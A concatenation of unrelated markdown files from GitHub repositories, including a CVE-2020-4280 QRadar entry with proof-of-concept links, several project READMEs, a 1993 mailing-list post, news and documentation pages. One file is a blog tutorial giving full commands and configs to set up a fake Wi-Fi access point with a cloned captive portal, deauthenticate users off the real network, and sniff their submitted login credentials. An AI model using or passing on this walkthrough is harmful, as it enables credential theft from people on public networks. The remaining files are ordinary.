text:
### [CVE-2020-4280](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4280)
![](https://img.shields.io/static/v1?label=Product&message=QRadar%20SIEM&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=n%2Fa&color=blue)
![](https://img.shields.io/static/v1?label=Vulnerability&message=Gain%20Access&color=brighgreen)

### Description

IBM QRadar SIEM 7.3 and 7.4 could allow a remote attacker to execute arbitrary commands on the system, caused by insecure deserialization of user-supplied content by the Java deserialization function. By sending a malicious serialized Java object, an attacker could exploit this vulnerability to execute arbitrary commands on the system. IBM X-Force ID: 176140.

### POC

#### Reference
- http://packetstormsecurity.com/files/159589/QRadar-RemoteJavaScript-Deserialization.html
- http://seclists.org/fulldisclosure/2020/Oct/18

#### Github
- https://github.com/ARPSyndicate/cvemon
- https://github.com/EdgeSecurityTeam/Vulnerability
- https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
- https://github.com/alphaSeclab/sec-daily-2020
- https://github.com/mishmashclone/GrrrDog-Java-Deserialization-Cheat-Sheet
- https://github.com/tzwlhack/Vulnerability

repository: trickest/cve

gha_language: HTML

repo_name: trickest/cve


text:
# Awwardie
This repository contains code for a project review app named Awwardie written using django framework.
## Authored by Machoka Daisy
## Description
This is  a web application for rating and reviewing projects. Users can create accounts, create and view their profile, upload projects, search for projects, view details of projects, go to the actual project sites using live link provided, rate projects and view the projects they have uploaded on the profile page.
## Setup instructions
* Visit the live link to interact with the web app
* Install python
* Git clone https://github.com/MachokaDaisy/colone.git on your terminal. Find the gallery folder and open it in your editor.
* Set up a virtual environment and install pip
* Set up a database named awards
* Migrate database by running python3 manage.py migrate
* Install dependencies by running pip install -r requirements.txt
* Run python3 manage.py runserver to run the app locally
* Run python3 manage.py test work to run tests
## Technologies used
* HTML,
* CSS,
* Bootstrap,
* Python,
* Django,

## BDD
Open the webpage on your browser using the live link provided.
* Sign up for an account by clicking on the signup tab in the navbar and filling the form. Once complete, you will be logged into your account and your name will be displayed on the navbar.
* On the view projects page,click on view details button and you will be redirected to a new page displaying more information about that project
* Click the rate button and fill the form to add a rating about a project.
* Click on the View Projects tab in the navbar to view projects from different users.
* ![Alt text](./static/img/explore.png?raw=true "Optional Title")
* Click on the Search Projects tab to search for projects
* ![Alt text](./static/img/searchpizza.png?raw=true "Optional Title")
* Click on the View Score button to see the average scores that a project has
* ![Alt text](./static/img/score.png?raw=true "Optional Title")
* Once logged in, click on your profile tab which has your name on it. On the resulting dropdown menu, click view profile to see your profile
* ![Alt text](./static/img/prof.png?raw=true "Optional Title")

* If you do not have a profile, click on the add one link and fill the form to add your profile
* Once done, click on the logout tab to logout
## Contacts
Feel free to contact me at<EMAIL_ADDRESS>For any contributions, please visit https://github.com/MachokaDaisy/colone.git
## License
[![License:MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
Copyright (c) 2020 **Machoka Daisy**

license: MIT

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
---
layout: default
---

# 1993-12-03 - Re: MIT Keyserver

## Header Data

From<EMAIL_ADDRESS>(Fred Cooper)

To<EMAIL_ADDRESS>(Derek Atkins)

Message Hash: 8117ed40542da7f8496a64487a7b00e7616f55e1818f8d175a51a7d70075083d

Message ID<EMAIL_ADDRESS>Reply To<EMAIL_ADDRESS>UTC Datetime: 1993-12-03 18:39:08 UTC

Raw Date: Fri, 3 Dec 93 10:39:08 PST

## Raw message

```
{% raw  %}From<EMAIL_ADDRESS>(Fred Cooper)
Date: Fri, 3 Dec 93 10:39:08 PST
To<EMAIL_ADDRESS>(Derek Atkins)
Subject: Re: MIT Keyserver
In-Reply-To<EMAIL_ADDRESS>Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

-----BEGIN PGP SIGNED MESSAGE-----

- -----BEGIN OF PGP DECRYPTED TEXT-----
> I am sorry to announce that the PGP Keyserver at pgp.mit.edu
> (a.k.a. toxicwaste.mit.edu) has to be shut down.  The processes involved

> The keyserver will remain down for an indefinite period of time.
> Unfortunately there is nothing I can do at this time.  I'm sorry for
> the inconvenience this may cause.
> -derek
- -----END OF PGP DECRYPTED TEXT-----
OK this is the second keyserver to go down in a month.

Anyone want to tell us why?
Derek, I appreciate that you can't prevent it but a little more
explanation of why would be much appreciated too.

FRC
- --
#include <hdrs/disclaim.std>    /* Neural N
ts catch only dreaming fish. */

-----BEGIN PGP SIGNATURE-----
Version: 2.3a

iQCVAgUBLP+GfLbAlE4AqlTZAQHuIgQAnD6jkd8ZZjQvwe9XkfUZ7AYAeVCKI/CW
Abk3HJBK2o+uEeWv+D75iI8l8UmZn/0lMjwTqws5qllR3VE97CVQrvaEef+rXBn7
rBK+5Nm64siGW53eggETCfq9Y1tEvujegJRHmTId8VRVtJkCYgYTnr8BRjvl1Ssk
VYHgv9W1cu8=
=WdMI
-----END PGP SIGNATURE-----

{% endraw %}
```

## Thread

+ Return to [December 1993](/archive/1993/12)

+ Return to<EMAIL_ADDRESS>(Douglas Barnes)](/authors/cman_at_caffeine_io_com_douglas_barnes_)"
+ Return to<EMAIL_ADDRESS>(Fred Cooper)](/authors/frcbwnmr4_at_harvard_harvard_edu_fred_cooper_)"
+ Return to<EMAIL_ADDRESS>(Stephen Williams)](/authors/sdw_at_meaddata_com_stephen_williams_)"

+ _Unknown thread root_
  + 1993-12-03 (Fri, 3 Dec 93 10:39:08 PST) - Re: MIT Keyserver -<EMAIL_ADDRESS>(Fred Cooper)_
    + 1993-12-03 (Fri, 3 Dec 93 11:39:07 PST) - [Re: MIT Keyserver](/archive/1993/12/ae5bfc9e364a9ca7e4ab6ed452e74698b1cc62768f1478774ef734ee5dd4ce40) -<EMAIL_ADDRESS>(Stephen Williams)_
    + 1993-12-03 (Fri, 3 Dec 93 14:12:50 PST) - [Re: MIT Keyserver](/archive/1993/12/a1a6c16b0ad4bb7db789ab38f20db1b6c98479267d3de7788d9cb941623f6f5e) -<EMAIL_ADDRESS>(Douglas Barnes)_

gha_license_id: MIT


text:
# 178-member Sikh delegation arrives from UK

Published at: **2019-11-04T07:26:16+00:00**

Author: **https://www.dawn.com/authors/397/the-newspaper-s-staff-reporter, The Newspaper's Staff Reporter**

Original: [DAWN.COM](https://www.dawn.com/news/1514796)

LAHORE: A group of Sikh pilgrims reached here on Sunday from London through a PIA flight to visit their sacred places in Sheikhupura, Nankana and Narowal districts and attend Baba Guru Nanak’s 550th birth anniversary celebrations.
Soon after landing, the 178-member group left for Gurdwara Janam Asthan Nankana Sahib and Gurdwara Sucha Sauda in Sheikhupura district.
The pilgrims will also participate in Baba Guru Nanak’s 550th birth celebrations at Gurdwara Darbar Sahib, Kartarpur, Narowal district.
The Pakistan Gurdwara Parbandhak Committee has announced that Baba Guru Nanak’s birth anniversary celebrations would continue throughout the month of November.
Sikh pilgrims from India as well as from Europe and North America will attend various events being held in this respect.
The main event, says Punjab Evacuee Trust Board spokesperson Amer Hashmi, will take place at Nankana Sahib on Nov 12.
Meanwhile, the first batch of some 1,100 Sikh pilgrims, along with a gold Palki arrived here on Thursday through Wagah Border.
The Palki will be installed at Gurdwara Darbar Sahib, Kartarpur, in connection with the birth anniversary of Baba Guru Nanak on Tuesday.

        Published in Dawn, November 4th, 2019

license: Unlicense

repository: dsadlollioygjmzvcxv/tdc-exported

repo_name: dsadlollioygjmzvcxv/tdc-exported


text:
# Pager

A simple package to help normalize how to generate and return a paged responses.

`go get github.com/syllabix/pager`

A potentially useful example of leveraging the package is implemented in the included sqlpager pkg.

repository: syllabix/pager

repo_name: syllabix/pager


text:
# [Niels Torp - Responsive Wordpress Theme](http://www.nielstorp.no/)

Responsive WordPress theme by [HYDROGENEDESIGN](http://hydrogene.hu/). Built with [Grunt](http://gruntjs.com/)

## Links

* Source: [https://github.com/ceto/nielstorp](https://github.com/ceto/nielstorp)
* Live Site: [http://www.nielstorp.no/](http://www.nielstorp.no)
* Developer Site: [HYDROGENEDSIGN](http://hydrogene.hu)

repository: ceto/nielstorp

gha_language: JavaScript

repo_name: ceto/nielstorp


text:
# Theme

Angular theme module.

## Purpose

Select theme for any compoenent or HTML tag (and it's children, recursively) by setting angular directive.

## How it works?

Angular directive sets class on the element, which can later be used to read/use generated custom CSS properties for that CSS class.


text:
author:            Patrick Merlot
summary:           Building your own codelabs
id:                building-your-own-codelabs
categories:        education,best-practices
environments:      Codelabs
status:            draft
feedback link:     github.com/Patechoc/codelabs
analytics account: UA-72074624-2

# Building your own codelabs

## Overview of the tutorial
Duration: 0:30

This tutorial shows you how to create and host your own codelabs on GitHub. In this tutorial you will do the following:

* setup your own codelabs plateform.
* create your very first codelab tutorial.

Prerequesites

* Install [go](https://golang.org/doc/install)
* install [npm](https://www.npmjs.com/get-npm) and [Node.js](https://nodejs.org/) to quickly boot up a http server.

Negative
: This tutorial will only describe how to serve your codelabs on GitHub. It doesn't describe [codelab components](https://github.com/googlecodelabs/codelab-components) (styling for steps and inline surveys) nor the more recent [custom elements](https://github.com/googlecodelabs/codelab-elements). neither how to deploy on [other platforms](https://github.com/googlecodelabs/tools#how-do-i-publish-my-codelabs).

## Install `claat`
Duration: 10:00

The CLaaT project, **Codelabs as a Thing**, is the tool behind codelabs that gives developers around the world a hands-on experience with Google products.

This project has been implemented as a volunteer project by a small group of dedicated Googlers who care deeply about this kind of “learning by doing” approach to education and it is [opened for anyone to use](https://github.com/googlecodelabs/tools#how-do-i-publish-my-codelabs).

So before building codelabs-based tutorials, you will need to install `claat`, the tool that will convert your formatted tutorial (from a Google Docs or from a markdown file) to a codelab.

Follow these instructions for installation: [https://github.com/googlecodelabs/tools/blob/master/claat/README.md#install](https://github.com/googlecodelabs/tools/blob/master/claat/README.md#install)

Test your installation by typing `claat --help`. If the help doesn't show up, make sure you properly installed go.

## Generate your tutorial as markdown
Duration: 5:00

You can use this tutorial as an example of markdown-based codelabs.

* Download this file to serve as template or example: [https://raw.githubusercontent.com/Patechoc/codelabs/master/build-your-own-codelabs.md](https://raw.githubusercontent.com/Patechoc/codelabs/master/build-your-own-codelabs.md)
* Change the content of the tutorial
* Generate your tutorial into a "codelab" from your markdown by replacing "CODELAB-NAME" with the name of your file: `claat export --prefix "../../" -o docs CODELAB-NAME.md`
* Build all the required dependencies and render the generated codelabs as it/they would appear in production: `cd docs && claat build`

Eventually you can also serve the final app in a simple web server for viewing exported codelabs locally: `claat serve`
It takes no arguments and presents the current directory contents.

## Generate your tutorial in a Google Docs
Duration: 5:00

Official instructions are [here](https://github.com/googlecodelabs/tools#ok-how-do-i-use-it)

I haven't tried yet as I am a big fan of Markdown, but this might be a quicker way to build more elaborate tutorials.

## Deploy your codelabs on GitHub
Duration: 5:00

* Go to the GitHub repository that will host your codelabs (e.g. [https://github.com/Patechoc/codelabs](https://github.com/Patechoc/codelabs))
* Click on the **Settings** tab at the top of the page
* Scroll down to the **GiHub Pages** section
* Selecting the **Source** to be "**master branch /docs folder**" and clicking **Save** will activate GitHub Pages.

GitHub generates a url to the HTML content served (e.g. [https://patechoc.github.io/codelabs/](https://patechoc.github.io/codelabs/).).

Congratulations! Your generated codelabs under `docs/` are now hosted by GitHub ;)


text:
# WHMCS Guzzle

This repo is a fork of `guzzle/guzzle` branch `7.0`.

We have had to fork Guzzle to resolve conflicts with the stock Guzzle used in
WHMCS 7.10, which is version 5 (sigh) and the Guzzle used in much of our own
code and that of third-party libraries.

Given we can not change the version used in WHMCS 7.10 as the source code is
encrypted we have forked Guzzle to change its namespace and then re-import it
back into our projects. Doing this means that when the time comes to upgrade
to WHMCS 8.0 we can simply switch the Guzzle code used from our custom
namespace to the version then included with WHMCS.

# Issues with a fork

The main issue with using a fork is lack of support from the main repo. Should
you need to patch the fork with updates from the original Guzzle repo then you
can re-namespace by carrying out a search and replace like this:

`namespace GuzzleHttp` replace with `namespace KrystalGuzzle`

`use GuzzleHttp` replace with `use KrystalGuzzle`

repository: krystal/whmcs-guzzle

repo_name: krystal/whmcs-guzzle


text:
# find-unused-css
Javascript code which will find all css class which are not used on your page

# How to use

1. Open you web page in browser
2. Run this Javascript code in console
3. If your page is SPA, go throug all your views
4. in console you can see content of two variables:
5. window.used - used CSS definitions
6. window.unused - unused CSS definitions


text:
# Lavie
TARGET
"- Build a website allow Sellers register their profile, manage their agencies and products.
- Responsive for small devices (mobile/tablet)"
GIT FLOW
"Setting up 2 branches
- master - For deploying production
- development - For handling new features"
REQUIREMENTS
"1. Sign Up page for Seller. (URL: /signup)
Seller need to fill all required fields
 - Full name
 - Email (for signing in)
 - Password (minimum 8 character, include letters and numbers)
 - Confirm password (must be same Password)
 - Phone number (maximum 16 characters)
"
"2. Sign In page (URL: /signin)
 - Seller need to fill correct email and password to sign in
"
"4. Agency page (URL: /seller/agency)
 - Seller can manage their agencies at this page. Seller need to fill required fields for adding/editing an agency:
    + Agency name
    + Agency address
    + Agency image (multiple images)
 - Displaying list of agencies - We must set 2 buttons, which allows Seller Edit or Remove their agency
"
"5. Product page (URL: /seller/product)
 - After signed in, Seller must be redirected to Dashboard page.
 - In this page we must have:
    + ""Add product"" button
    + All products should be display 3 items in a row. If seller does not have any products, we would like to show text ""You do not have any products"".
    + Pagination - Maximum for each page is 12 products
 - Adding product: Seller need to fill all required fields and upload images for product (URL: /seller/product/new)
    + Product name (maximum 127 characters)
    + Base price (in USD)
    + Product images (allow seller selects only image types, support multiple images)
    + Category: Select one or multiple categories from the list ()
    + Seller can set Discount rate & Quantity for each agency
 - Displaying product items - A product item displays information below:
    + The first image
    + Product name
    + Lowest of real price from all agency (Real price = Base price - Base price * (Discount rate / 100))
    + An edit button - Seller can edit all information as creating
    + A remove button
"
"6. Home page (URL: /)

This page must have 5 basic sections:
 - Header
 - Products
 - Best Sales
 - Footer

* HEADER
* PRODUCTS
 - Layout:
    + For desktop, display 4 products per row.
    + For tablet and large mobile devices: display 3 products per row
    + For medium mobile devices: display 2 products per row
    + For small mobile devices: display 1 product per row
    + Filter form must have expansible in mobile device
 - I want to place a Filter form at the top of this section. It must have:
    + Filter by Price range (at least 5 ranges)
    + Filter by Seller
    + Have a select box for choosing order by Price (Real price) (Ascending or Descending)
 - Display all products from system. If have same products from agencies, display product with lowest real price.
 - Each product displays at least. Image, Base Price, Name. If a product have Discount rate, display Discount rate and Real price also.
 - If quantity of product is 0 at all agencies, the product will show ""Out of store"".
 - Have paginator at the bottom, with maximum 12 products per page.
* BEST SALES
 - Display top 12 products have highest Discount rate from system."
"7. Product Details (URL: /products/{slug}/{productId})

* This page will display all properties of product, includes images, name, description, prices, etc.

* In term of layout, this page should be separate to 2 main columns (9/3 follow Bootstrap grid).
- First column:
  + Support displaying all images of product with a carousel.
  + Support zooming each images of product in the carousel.
  + Display name, seller name, description, real price and discount rate of product.
- Second column: Must have 2 sub-sections. Each sections can scrollable, max height is 80% of screen height
  + Related products: Show 20 another products which have same categories. (except the product users are viewing)
  + Seller products: Show 20 another products of current seller. (except the product users are viewing)

* We must to support a way for searching by Google. The first is optimizing URL. So:
- On creating/editing product: Must have a way to generate and save slug from product name.
"
"8. Cart page (URL: /cart)

* Place ""Cart"" icon to the header. By clicking to this icon, user will be redirected to ""Cart"" page

* Once a product have been added to cart, we must have a badge at the top right of ""Cart"" icon.
- If the cart have more than 9 product: Display 9+
- If the cart is empty: The badge should be hidden
- Adding product to cart should not make browser refreshing. The badge should be update immediately.

* This page must show all products which were being added by buyer.
- Allow buyer edit quantity of each products, remove product from cart.
- Price estimation
  + Calculating Total price of all products.
  + Calculating Delivery cost:
     ++ With total price from $0.1 to $20: 10% of Total price
     ++ With total price from $20 to $50: 5% of Total price
     ++ With total price larger $50: Free
- Button [Clear Cart]: Clear all products from cart.
- Button [Continue Payment]
  + If buyer signed in: Redirect to ""Payment page""
  + If buyer did not sign in: Redirect to ""Buyer Signing in""
    "
"9. Signing In for Buyer (URL: buyer/signin)
* Support sign in with Google & Facebook"
"10. Payment page for Buyer (URL: buyer/payment)

gha_language: PHP


text:
---
title: Predictive engagement scoring
description: Learn how to view engagement scores at the individual profile level, use scores for targeting engaged users and suppressing fatigued users and how to create typology rules to manage customer fatigue.
feature: predictive engagement scoring
topics:
kt: 6275
thumbnail: 40470.jpg
doc-type: feature video
activity: use
team: ACS
---

# Predictive engagement scoring

Powered by [!UICONTROL Journey AI], [!DNL Adobe Campaign] can analyze and predict open rates, optimal send times, and probable churn based on historical engagement metrics.

>[!CAUTION]
>This capability is not available out of the box as part of the product. The implementation requires Adobe Consulting to be engaged. Please reach out to your Adobe representative to find out more.

[!UICONTROL Predictive engagement scoring] predicts the probability of a recipient engaging with a message as well as the probability of opting out (unsubscribing) within the next 7 days after the next email send. The probabilities are further divided into buckets according to the specific risk of disengagement, medium, or low. Along these the model also provides the risk percentile rank for the customers to understand where the rank of a certain customer in relation to others.

Learn how to view engagement scores at the individual profile level, use scores for targeting engaged users and suppressing fatigued users and how to create typology rules to manage customer fatigue.

>[!VIDEO](https://video.tv.adobe.com/v/40470?quality=12)

## Additional resources

Tutorials:

* [Predictive send time optimization](predictive-send-time-optimization.md)

Documentation:

* [Optimizing design and delivery with AI-powered emails](https://docs.adobe.com/help/en/campaign-standard/using/testing-and-sending/preparing-and-testing-messages/predictive.html)

gha_license_id: NOASSERTION


text:
---
id: 3932
title: Lizzy Greene
date: 2021-04-06T12:49:02+00:00
author: Laima
layout: post
guid: https://ukdataservers.com/lizzy-greene/
permalink: /04/06/lizzy-greene/
---

* some text
{: toc}

## Who is Lizzy Greene

Series regular on the Nickelodeon show Nicky, Ricky, Dicky & Dawn who portrays the character of Dawn Harper. Her co-stars on the show are Casey Simpson, Aidan Gallagher and Mace Coronel. In 2018, she began starring on the ABC series A Million Little Things.

## Prior to Popularity

She was attending John D’Aquino’s Young Actors Intensive in June of 2013 when she was discovered by a Los Angeles talent manager.

## Random data

She attended the Fun House Theater and Film school in Plano, Texas. She appeared on Nickelodeon’s Ho Ho Holiday Special in 2015.

## Family & Everyday Life of Lizzy Greene

She is from Dallas, Texas and has an older brother named Garrett.

## People Related With Lizzy Greene

She appeared opposite Kira Kosarin in a 2014 episode of the popular series The Thundermans.

branch_name: refs/heads/main


text:
# Equalize Timestamps

Command line utility to equalize timestamps (created date, last access date, last write date) between files and directories in two paths (including subdirectories).

Just a little personal itch-scratching thing.

Windows only, sorry.

### Usage

```
EqualizeTimestamps.exe  my\source\path my\target\path
```

All there is to it. The program will only equalize the files and directories that have the same names, ignoring the rest.

### Licence

MIT


text:
# Acrylic painting style transfered to a Drawing concepts

## With Plume
|   	| Content  	|  Result 	|  Style Image 	|   	|
|---	|---	|---	|---	|---	|
| | ![Content](content/x_200414__draw001_4k.jpg) | ![Result image](./nst/./x__style_transfer__200414__11_01.sh._plume_001.jpg) | ![Style](img/jgi_acrylic__plume.jpg) | |
### Date Start : Tue, Apr 14, 2020  9:45:22 PM
### Date End : Tue, Apr 14, 2020 10:40:21 PM

repository: jgwill/xpub

repo_name: jgwill/xpub


text:
---
layout: post
title:  Building a Fake Access Point and Using a Captive Portal to Get Login Credentials
date:   2018-12-23
tags: Computer_Science
author: "Aaron John"
---

For this project I will presume that you have already cloned a captive portal of an open business network that you usually would see in airports, hotel lobbies, coffee shops, and other venues that offer free Wi-Fi hot spots.

Also, I will presume you have a wireless adapter that supports monitor mode and packet injection with Kali Linux installed (or other penetration testing OS installed). Yayy! Now let's move on to the main course of this documentation.

Below I have documented the process on how to manually create a fake Access Point (AP). However, in order to build a fake AP, one needs to understand the main components of a wifi network. These components are:

1. A wifi card (router) in order to broadcast the signal of an AP. (I will use hostapd tool to broadcast the signal)
2. A DHCP server to give IP addresses to clients that connect to our AP. (I will use dnsmasq tool as a DHCP server)
3. A DNS server to handle DNS requests. (I will use dnsmasq tool as a DNS server)
* dnsmasq tool is rather convenient to use, since it can be used as a DHCP and DNS server at the same time!

* To install hostapd and dnsmasq, type the below command in terminal.
```shell
apt-get install hostapd dnsmasq
```

1. After installing hostapd and dnsmasq, connect your wireless adapter (ifconfig to confirm this). Once adapter is connected do:
```shell
service network-manager stop
```
(Reason to stop network manager is so that it does not prevent the fake AP from broadcasting a wifi signal)

2. Next, we should enable IP forwarding so that packets can flow through the computer without being dropped. Not only that, we must also delete any IP table rules that might interfere with what we are trying to achieve. Hence, the below commands must be entered in the terminal to clear any firewall rules that might be redirecting packets to somewhere else.
```shell
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
```
(By default there should not be any IP table rules, however to be on the safe side, if a program modifies and adds IP tables rules then the fake AP will fail, hence the following commands are a precaution.)

3. Next, we will configure dnsmasq to be used as a DHCP server and DNS server. Here, copy the below code and save it in a file called dnsmasq.conf
```shell
#Set the wifi interface
interface=wlan0
#Set the ip range that can be given to clients
dhcp-range=<IP_ADDRESS>,<IP_ADDRESS>,8h
#Set the gateway IP address
dhcp-option=3,<IP_ADDRESS>
#Set dns server address
dhcp-option=6,<IP_ADDRESS>
#Redirect all requests to <IP_ADDRESS>
address=/#/<IP_ADDRESS>
```
(The first line that says interface can be found by doing ifconfig and this interface is the one that you wireless adapter uses. The second line states that the range is from 10 to 100 and each ip can last for 8 hours. The third line states the IP of wlan0, usually the 1st IP is used for the the gateway/router and the same config is used for the fourth line. The fifth line states to redirect any request to router's IP)

4. In terminal type the following command to start DHCP server and DNS server.
```shell
dnsmasq -C /root/Downloads/fake-ap/dnsmasq.conf
```
(Note: make sure you change the above path to where you saved the dnsmasq.conf file)

5. Next, we will configure hostapd to start fake AP, in order to allow people to connect to it. Here, copy the below code and save it in a file called dnsmasq.conf
```shell
#Set wifi interface
interface=wlan0
#Set network name
ssid=FakeAP
#Set channel
channel=1
#Set driver
driver=nl80211
```
(Note: when you set the network name, make sure it has the same name as the captive portal and you can feel free to add a version to it like "FakeAP V2")

6. In terminal type the following command to start hostapd and to begin broadcasting a signal.
```shell
hostapd /root/Downloads/fake-ap/hostapd.conf -B
```
(Here, -B is used so that it will execute the above command in the background. Also, make sure you change the above path to where you saved the hostapd.conf file)

7. Next, we will configure wlan0 (or whatever interface that your running) to have an IP address of <IP_ADDRESS>
```shell
ifconfig wlan0 <IP_ADDRESS> netmask <IP_ADDRESS>
```
(Note: change interface to the one you are using, in my case its wlan0. The reason we use <IP_ADDRESS> is because this is the ip address that is used by the dnsmasq.conf and all the requests is configured to go to this IP. Here, <IP_ADDRESS> address is the most common subnet mask used on computers connected to Internet Protocol (IPv4) networks. In our case the format would be 10.0.0.xxx where xxx will be the only part that would vary for every IP address in that network. Likewise if the subnet mask is <IP_ADDRESS> then the computer would assume that every IP address in that netwrok would be in the format of 10.0.xxx.xxx.)

8. Start Web server to launch the cloned captive portal. Hence, when the client clicks on the fake AP the captive portal web page is displayed.
```shell
service apache2 start
```

9. In this step, we will sniff and analyze login credentials that the user enters into the cloned captive portal. However, instead of waiting for client to connect to FakeAP we could use a deauthentication attack on the real captive portal network and lure clients into using the FakeAP. Hence, we will run the following deauthentication attack command in terminal.
```shell
aireplay-ng --deauth 100000 -a (mac address of AP) wlan0
```
Note: in order to find mac address of AP use airodump-ng as follows:
    ```shell
    airodump-ng --band a wlan0
    ```

10. By continously sending thousand of deauth packets... it will prevent the user from reconnecting back to the portal. Hence, they will be lured into using our fake captive portal. Now, we can start to sniff the login info either by using Ettercap or MITMF, but for this example I will use Tshark.
```shell
tshark -i wlan0 -w wifisniff.cap
```
(Note: -i wlan0 is the interface used to sniff data which will be our wireless card and -w wifisniff.cap will be where I store all the sniffed data)

Once a client enters the credential, we can analyze the .cap file using Wireshark. Just simply type *wireshark* in terminal and filter out http and search for a POST request. Eventually you should find the clients credentials in the HTML form :)

**Update - Redirecting Requests to Captive Portal Login Page**

When a client first connects to a captive portal the system will send requests to a specific server depending on the system whether it runs on mac OS, Linux or Windows. If the system gets a response it was expecting then it will think that this is a normal network and it wont do anything.
    However, if the clients system does not get a response it was expecting, it will then think that the network is a captive portal and it will proceed to show the client the captive portal login page.

**Solution for the above issue**

1. Requests sent to www. websites have to be redirected to just the domain name (for example, google.com instead of www.google.com). Therefore, in order to achieve this we have to modify the apache configuration file.
To open the configuration file type the following in terminal:
```shell
leafpad /etc/apache2/sites-enabled/000-default.conf
```
(Note: I am using leafpad text editor to open the configuration file... feel free to use another text editor.)

2. In order to delete just the www part, we need to use rewrite rules to redirect www to just the domain name. In this case we will add a directory tag at the bottom of the configuration file.
    ```shell
    <Directory "/var/www/html">  <!-- /var/www/html is the location of where my website is stored-->
        RewriteEngine On         <!--enables rewrite engine-->
        RewriteBase /            <!--rewrite base is in web root-->
        RewriteCond %{HTTP_HOST} ^www\.(.*)$ [nc]   <!--rewrite condition works based on Regex-->
        RewriteRule ^(.*)$ http://%1/$1 [R=301,L]
    </Directory>
    ```
(Note: paste the above code, save and close text editor)

3. Restart apache web server in terminal.
```shell
service apache2 restart
```

4. After restarting web server and if you test out the FakeAP network, you will notice a web browser pop up. However, this browser will show a 404 error saying "Not Found" (the reason why a 404 error is showed is because the url is altered by the the system OS.) To fix this, we will configure the web server so that if a file is not found it will redirect the person to the home page. In our case it would be to redirect a 404 error to the cloned captive portal login page. So in terminal type the following command and feel free to use your preferred text editor:
```shell
leafpad /etc/apache2/sites-enabled/000-default.conf
```

5. On the top of the configuration file type in the following:
```html
ErrorDocument 404 /
```
(Note: Here / is used to redirect to web root) Don't close the text editor just yet... see next step!

6. Also, just to be on the safe side at the bottom of the configuration file inside the <Directory> tag we will put the following rewrite rules. This step is the same as the above step but it is used to make sure that it works with any smart phone.
```html
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond ^(.*)$ / [L,QSA]
```

7. Restart apache web server in terminal. Now, your page should pop up in a web browser when a client clicks on the FakeAP network.
```shell
service apache2 restart
```


text:
---
title: 'GDPR: does this affect the recruiting industry?'
date: '2017-07-28'
categories:
  - 'compliance-and-data'
slug: 'gdpr-affect-recruiting-industry'
seoTitle: 'Will GDPR affect the recruiting industry? | HireHive Recruiting'
seoDescription: 'How will GDPR affect your recruiting efforts and recruiting software usage? Check out 5 things to consider before May 2018'
author: 'Orla-Hodnett'
coverImage: '/images/eu.jpg'
---

_Curious about how GDPR will impact your recruiting practises and recruiting software usage?_

You may have heard about the [GDPR directives](https://hirehive.com/gdpr-how-to-prepare/) that come into force in May 2018. These new guidelines endeavour to improve and strengthen existing data protection practises within the EU, through a set of rules to follow on data usage and storage.

But how might these new rules affect the recruiting and HR industry? And how might you need to change your practises? Might this change how you use recruiting software and tools? Here are five things to consider ahead of the roll-out in May 2018.

![gdpr](/images/eu-e1501238936608.jpg)

> GDPR directs that you should be able to fully trace where you gathered any data from applicants

#### **How did you get the information about candidates?**

How exactly did you obtain the information you have about candidates from candidates? GDPR directs that you should be able to fully trace where you gathered any data from applicants, to ensure that you did not gather any information under false pretences.

This is one area where recruiting software may be able to help greatly. As you receive, process and store applications in the tool, you will have an overview of the whole pipeline that you can present in any case of audit.

#### **Storing information**

How and where you store candidate information is extremely significant. Personal data is information HR and recruiting personnel handle every day, so the significance of this will not be news to any industry professional.

The GDPR directs that HR and recruiting personnel encrypt and pseudonymise data where possible. Any systems processing data should be airtight and you should report any data breaches to those concerned. You must also get consent from candidates to store data.

#### **Purpose of gathering data**

Any data you gather from candidates helps you determine if they are suitable for the vacancy in question. So once you confirm with a candidate that you consent to use their information in this way, you are compliant.

Where GDPR may impact how you work is in the reuse of data. This may require you to seek further consent if you wish to use their data as part of another recruiting project for another role.

#### **Where automation exists**

Recruiters use automation in various processes in the recruiting process and in many areas of HR. It is a practical and efficient means of filtering candidate information based on your needs. Also, the GDPR has some new directives on how organisations can do this.

> Wherever automation is used in the recruiting process, you must inform candidates that it is occurring

Wherever automation is used in the recruiting process, you must inform candidates that it is occurring.  Not only that, but you must inform candidates what kind of filtering you use and on what basis their information might be filtered.

#### **Hiring abroad**

The directives of the GDPR govern any organisation operating within the EU, any company storing data in the EU or any organisation handling the data of EU citizens. Could this impact your hiring practises?

Even if you are operating outside the EU, if your recruiting efforts involve doing any of the above, you must ensure that you are compliant with GDPR.

gha_language: Svelte


text:
---
hrs_structure:
  division: '2'
  volume: '10'
  title: '25'
  chapter: 462A
  section: 462A-10
type: hrs_section
tags:
  - Business
menu:
  hrs:
    identifier: HRS_0462A-0010
    parent: HRS0462A
    name: 462A-10 Piloting without a license
weight: 73050
title: Piloting without a license
full_title: 462A-10 Piloting without a license
---
**§462A-10 Piloting without a license.** It shall be unlawful for any person not licensed as a pilot under this chapter to pilot or to offer to pilot a vessel not exempt from this chapter. It shall be unlawful for any person on board a tug or towboat to tow a vessel or barge not exempt from this chapter, unless the vessel or barge shall have on board a pilot licensed under this chapter. Violation of this section shall be a misdemeanor. [L 1978, c 231, pt of §2]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
# Controls and Libraries

[« return to the manuals](index.md)

In LaxarJS, any non-trivial HTML element, [HTML5 Web Component](http://webcomponents.org/) or [AngularJS directive](https://docs.angularjs.org/guide/directive) is considered a _control_.
While widgets and activities deal with business logic, controls handle the technical details of user interaction.

Preliminary readings:

- [LaxarJS Core Concepts](../concepts.md)
- [Widgets and Activities](./widgets_and_activities.md)

To provide their business logic, widgets and activities often depend on _libraries,_ which might be created by third parties or simply be used to share common functionality. Examples of libraries commonly used by LaxarJS widgets include:

- [moment.js](https://momentjs.com/)
- [LaxarJS Patterns](https://laxarjs.org/docs/laxar-patterns-latest/)
- [jQuery](https://jquery.com/)

On the other hand, here are some examples of controls:

- a select box
- a tab control
- a [date picker](https://www.npmjs.com/package/laxar-date-picker-control)
